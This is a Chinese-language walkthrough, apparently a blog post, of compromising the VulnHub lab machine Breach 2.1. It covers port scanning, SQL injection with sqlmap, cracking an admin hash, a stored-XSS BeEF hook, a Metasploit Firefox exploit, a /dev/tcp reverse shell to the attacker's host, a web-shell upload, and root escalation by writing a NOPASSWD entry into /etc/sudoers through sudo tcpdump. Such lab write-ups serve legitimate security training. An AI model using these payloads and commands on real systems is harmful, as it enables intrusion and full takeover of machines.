Breach: 2.1 靶机 - 详细流程

  • ✨ 准备工作


  1. 靶机 && kali 环境要求

    机器名网络配置
    靶机Breach-2_final2.1仅主机模式
    攻击机kali仅主机模式

  2. 靶机下载链接:Breach: 2.1 ~ VulnHub

  3. 打开 VMware,将 Breach-2_final2.1.ova 拖拽到 VMware

  4. 设置 虚拟机名称(A) - 存储路径(P)- 导入   

  5. 若是,提示出错,点击重试即可

  6. 启动虚拟机,等待安装完成

  7. 启动成功

  8. 右击靶机 - 设置  

  9. 点击 网络适配器 将其设为 仅主机模式 ,并点击  高级,查看MAC地址

  10. MAC 地址为:00:0C:29:43:58:18

  11. 又因为其在描述中说明:靶机的静态IP为:192.168.110.151  

  12. 所以我们将 仅主机模式的网卡 设置 192.168.110.0/24  段的

  13. 点击 编辑 - 虚拟网络编辑器

  14. 选中 仅主机的网卡 - 点击 更改设置(C)  (这里可以记录一下现在仅主机的网段,方便后面还原)

  15. 确认后,打开如下页面,选中 仅主机的网卡 ,将子网IP(I)更改为 192.168.110.0  - 确定  

  16. 重启靶机

  17. kali就比较简单了,直接将其设为 仅主机模式 就可以了

  • ☄️ 信息收集


  1. 既然我们已经知道靶机的IP是 192.168.110.151 了 ,那就不用扫描主机了

  2. 直接进行端口扫描:

    nmap -sV -p- 192.168.110.151

  3. 发现其开放了 111,51356,65535 端口

  4. 经测试后发现在  ssh  服务中,给出了提示信息(账号,密码)

    ssh 192.168.110.151 -p 65535

    # 账号:
    Peter
    
    # 密码:
    inthesource
  5. 使用获得的账号密码进行登录

    ssh peter@192.168.110.151 -p 65535
    
    # 密码:
    inthesource

  6. 发现登录成功后,又被断开了,看来是不想让我们轻易拿到 shell

  7. 暂时险入瓶颈,想着通过网页再看看剩余端口有没有变化时,输入靶机IP,居然有了一个页面

  8. 再用 nmap 扫一下,发现开放了一个80端口

    nmap -sV -p- 192.168.110.151

  9. 虽然有点怪,但不影响,我们继续;

  • 🌠 获取shell


  1. 查看网站首页源码,并没有发现有用信息,转头进行目录扫描(这里我使用了 dirsearch

    dirsearch -u http://192.168.110.151

  2. 发现如下页面:192.168.110.151/blog/   

  3. 对搜索框进行测试,发现其存在SQL注入

    # 1' and 1=1 #
    http://192.168.110.151/blog/index.php?search=1%27+or+1%3D1%23
    
    # 1' or 1=2 #
    http://192.168.110.151/blog/index.php?search=1%27+or+1%3D2++%23

  4. 先确认一下有哪些库

    sqlmap -u "http://192.168.110.151/blog/index.php?search=1" --dbs --batch

  5. 发现2个特别的库,分别通过 Sqlmap 下载后发现,重要的数据在 oscommerce 中

    sqlmap -u "http://192.168.110.151/blog/index.php?search=1" -D oscommerce --dump --batch

  6. oscommerce 下的 osc_administrators.csv  中 发现了 用户账号和密码

    # 账号
    admin
    
    # 密码(加密)
    685cef95aa31989f2edae5e055ffd2c9:32

  7. 进行破解,得到

    # 密码
    32admin
  8. 破解网站:MD5免费在线解密破解_MD5在线加密-SOMD5

  9. 结果尝试,虽然得到一个管理员的账户密码,但我们不知道是哪个服务的;先放一放,后面肯定会用到的;

  10. 回到 192.168.110.151/blog/  ,根据日常挖洞的经验,存在SQL注入的功能点是极大概率存在XSS漏洞

  11. 对搜索框进行 XSS 测试

    <h1>11<h1>

  12. 发现确实存在 XSS 漏洞,不过是反射型的,因为我们无法令他主动点击我们的恶意链接,所以我们必须找个存储型的 XSS 漏洞

  13. 在首页刚好有个注册用的功能点,进行测试

  14. 输入UsernamePassword 和 E-Mail ,点击 注册

    <script>console.log(1)</script>
    <script>console.log(2)</script>
    <script>console.log(3)</script>

  15. 按下 F12,点击 控制台 ,寻找回显点,并且确认是哪个字段进行了回显(UsernamePassword 和 E-Mail

  16. 看起来是 Username 会进行回显,那重点注入 Username 即可

  17. 接下来 kali 使用 beef - xssgetshell,更改 kali 的网络模式(仅主机即可)

  18. ,执行安装 beef -xss 的命令

    # 安装 beef-xss
    beef-xss
    # 安装提示(y/n),都选 y
    
    # 若是中途报错,则需要更新软件包列表后继续执行上面的命令
    sudo apt-get update
  19. 安装完成后,再将 kali 的网络模式更改为 仅主机模式

  20. 以管理员用户启动 beef-xss  (非管理员无法启动),设置密码,启动成功

  21. ifconfig 查看 kali 的 IP,因为是静态IP找到 192.168.110.0/24 网段的

  22. 替换 <IP>kali 的 IP

    <script src="http://<IP>:3000/hook.js"></script>
    
    # 例:
    <script src="http://192.168.110.128:3000/hook.js"></script>
  23. 回到注册页面 http://192.168.110.151/blog/register.html   ,在 Username 处填入 修改后的恶意链接,点击 RegisterMenmbers

  24. 回到 kali 访问 http://127.0.0.1:3000/ui/authentication   , 进行登录(账号默认 beef

    # 登录页面
    http://127.0.0.1:3000/ui/authentication
    
    # Username:
    beef
    
    # Password:
    你设置的密码

  25. 登录成功,发现靶机已经上线了

  26. 点击查看,发现浏览器是 Firefox/15.0版本(这里和后面执行都必须是Online的)

  27. 打开 msf ,进行利用

    # 确定 msf
    msfconsole
      
    # 搜索 EXP
    search firefox 15
      
    # 使用 exploit/multi/browser/firefox_proto_crmfrequest
    use 12
      
    # 查看需要设置的内容
    show options
      
    # 设置 IP 为 kali的IP
    set LHOST 192.168.110.128
    
    # 设置端口(也可以默认4444)
    set LPORT 555
      
    # 运行
    run
  28. 生成恶意链接,并复制下来

  29. 切换回网页,点击 靶机IP字段 - Commands - Misc - Create Invisible iframe - 写入上面生成的链接 - Execute  

  30. 成功反弹到 shell (这里要等 箭头指的语句出现后再执行 )

  31. 执行以下命令,反弹shell

  32. PS:这里sessions -i ID 概率连不上而且会结束会话,到时候再点一下网页中的 Execute 即可

  33. 若是试了很多次还是连不上,可以换个端口,无需使用 use post/multi/manage/shell_to_meterpreter 这类操作,因为我已经试过了,连不上的依旧连不上;

    # 新开一个终端进行监听 
    sudo nc -lvnp 666
    
    
    # 另一个终端(MSF)
    # 按下回车键
    
    # 查看会话ID
    sessions
    
    # 调用对应的会话
    sessions -i 2
    
    # 执行反弹shell的命令
    /bin/bash -c '生成的语句'
    
    # 例:
    /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.110.128/666 0>&1'

  34. 这里进行做些工作,让 ssh 服务能够远程连接,方便我们的下次使用

  35. 查看 ssh 的配置文件 sshd_config 文件,发现一个名字比较特殊的文件 startme

    cat /etc/ssh/sshd_config

  36. 查看文件内容和权限,发现是启动 Apache 服务的,且 root 用户才能修改

    ls -l /usr/bin/startme

  37. 从其他方面下手,查看当前目录,发现了 .bashrc 文件(用户登录成功后加载的文件,但不是必须的)

  38. 写入 shell ,将 .bashrc 原有内容覆盖 ,发现可以通过 SSH 登录了

    # 使用 shell 覆盖原有内容
    echo 'exec /bin/bash' > .bashrc
    
    # ssh 登录
    ssh peter@192.168.110.151 -p 65535
    
    # 密码
    inthesource
    
    # 输入密码后需等一会儿后,按下 Ctrl+C 才能获得 shell
    Ctrl+C

  • 💫 权限提升


  1. 查看可登录的用户,发现3个可登录的用户(root,peter,milton

    grep '/bin/bash$' /etc/passwd

  2. 查看端口开放情况,在监听的端口中,发现了2个新开放的端口(2323,38612)

    netstat -anlpt

  3. 经过测试,发现 2323 端口,可以使用 telnet 连接,并且通过坐标 (29 45'46" N 95 22'59" W ) 向我们提示了密码

    telnet 127.0.0.1 2323

  4. 查询坐标 世界地图纬度经度-在线 (aspose.app)  ,

    # 纬度
    29.4546
    
    # 经度
    -95.383056

  5. 继续使用 telnet 登录,发现我们还要回答他的问题 Whose stapler is it?

    telnet 127.0.0.1 2323
    
    # 用户名
    milton
    
    # 地区(密码)
    Houston

  6. 查看后发现是  /usr/local/bin/cd.py 打印的

    grep -r "Whose stapler is it?" / 2>/dev/null

  7. 查看该文件,发现 staplermine

    cat /usr/local/bin/cd.py

  8. 回到 telnet 登录界面,输入 mine ,得到一个新用户 milton

    mine

  9. 继续查看端口,发现又开放了 8888端口

    netstat -anlpt

  10. 测试后发现是 http 服务,直接访问  Index of / ,发现如下界面  

  11. 进行目录扫描,发现后台登陆点  Flair Store: osCommerce Administration Tool: Login    和目录遍历漏洞(这里包含了文件上传后的地址)

    dirsearch -u "http://192.168.110.151:8888/oscommerce/"

  12. 使用前面获取到的账号 / 密码(去除32)登录成功

    # 账号
    admin
    
    # 密码
    admin

  13. 并经过寻找,发现了文件上传的功能点 Flair Store: osCommerce Administration Tool: File ManagerTools - File Manager - includes - work - upload

  14. PS:为什么不选择其他上传点,因为在点击过程中发现的其他上传点,并没有上传的功能,点击了也只是会报错而已;

  15. 上传恶意文件

  16. 并通过刚才的目录遍历漏洞找到了上传的位置  Index of /oscommerce/includes/work/    ,点击后发现可以解析;

  17. 使用蚁剑连接,成功

  18. 查看权限后发现是又一个普通用户

  19. 进行反弹 shell 获得 交互式shell (因为前面生成过了,并且之前的 shell 我也不用了,这里就直接拿来用了)

    # kali 监听语句
    sudo nc -lvnp 666
    
    # 执行反弹shell的命令
    /bin/bash -c '生成的语句'
    
    # 例:
    /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.110.128/666 0>&1'

  20. 列出当前用户拥有sudo权限的命令

    sudo -l
  21. 发现拥有sudo权限的是 tcpdump ,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins   ,输入tcpdump

  22. 提示提权命令,更改后提权

    # 命令
    COMMAND='id'
    echo  "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
    
    
    # 临时文件(推荐.sh脚本文件)
    TF=$(mktemp)
    /tmp/com.sh
    
    # 写命令到临时文件中
    echo "$COMMAND" > $TF
    echo 'echo  "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/com.sh
    
    # 添加执行权限
    chmod +x $TF
    chmod +x /tmp/com.sh
    
    # 提权
    sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
    sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/com.sh -Z root

  23. 输入命令后等待(大概1分钟左右) 或 自动产生流量即可(在反弹的shell终端内执行 telnet 127.0.0.1 2323

    echo 'echo  "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/com.sh
    
    chmod +x /tmp/com.sh
    
    sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/com.sh -Z root
    
    # 提升权限
    sudo su root

  24. 提权成功

  25. 附Falg位置: /root/.flag.py

    python /root/.flag.py

  • 🌃 环境恢复 - Vmware 仅主机网段


  1. 目的:恢复修改过的网段,防止一些莫名其妙的问题

  2. 首先将正在使用的所有 虚拟机 挂起关闭

  3. 点击 编辑 - 虚拟网络编辑器

  4. 选中 仅主机 - 更改设置(C)

  5. 选中 仅主机 - 更改回原来的网段 - 确定 ,

  6. 恢复完毕

  • 🌌 总结


  1. 流程:主机发现 - 信息收集 - Web渗透 -  获取shell - 权限提升
  2. 信息收集
    1. 端口扫描立大功,归功于靶机的脑洞比较大,访问特定服务后才会开启另一个服务,在今后的测试中也需要分阶段性地进行端口扫描;
  3. Web渗透
    1. 一般存在 SQL注入 的功能点大多都存在 XSS漏洞,而且XSS漏洞既然存在就一定不止一个;
    2. XSS漏洞(存储型)+ 浏览器漏洞 获取shell,在靶机中比较少见,但也需要注意;
    3. MSF 中要注意区分使用 sessionsessions 的命令,有时候多打一个s就浪费一上午时间;
    4. sshd_config 文件由于某些原因无法使用时,修改 .bashrc 文件也是一种常见的思路;
  4. PS:比较简单,但需要脑洞大开的一个靶机

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值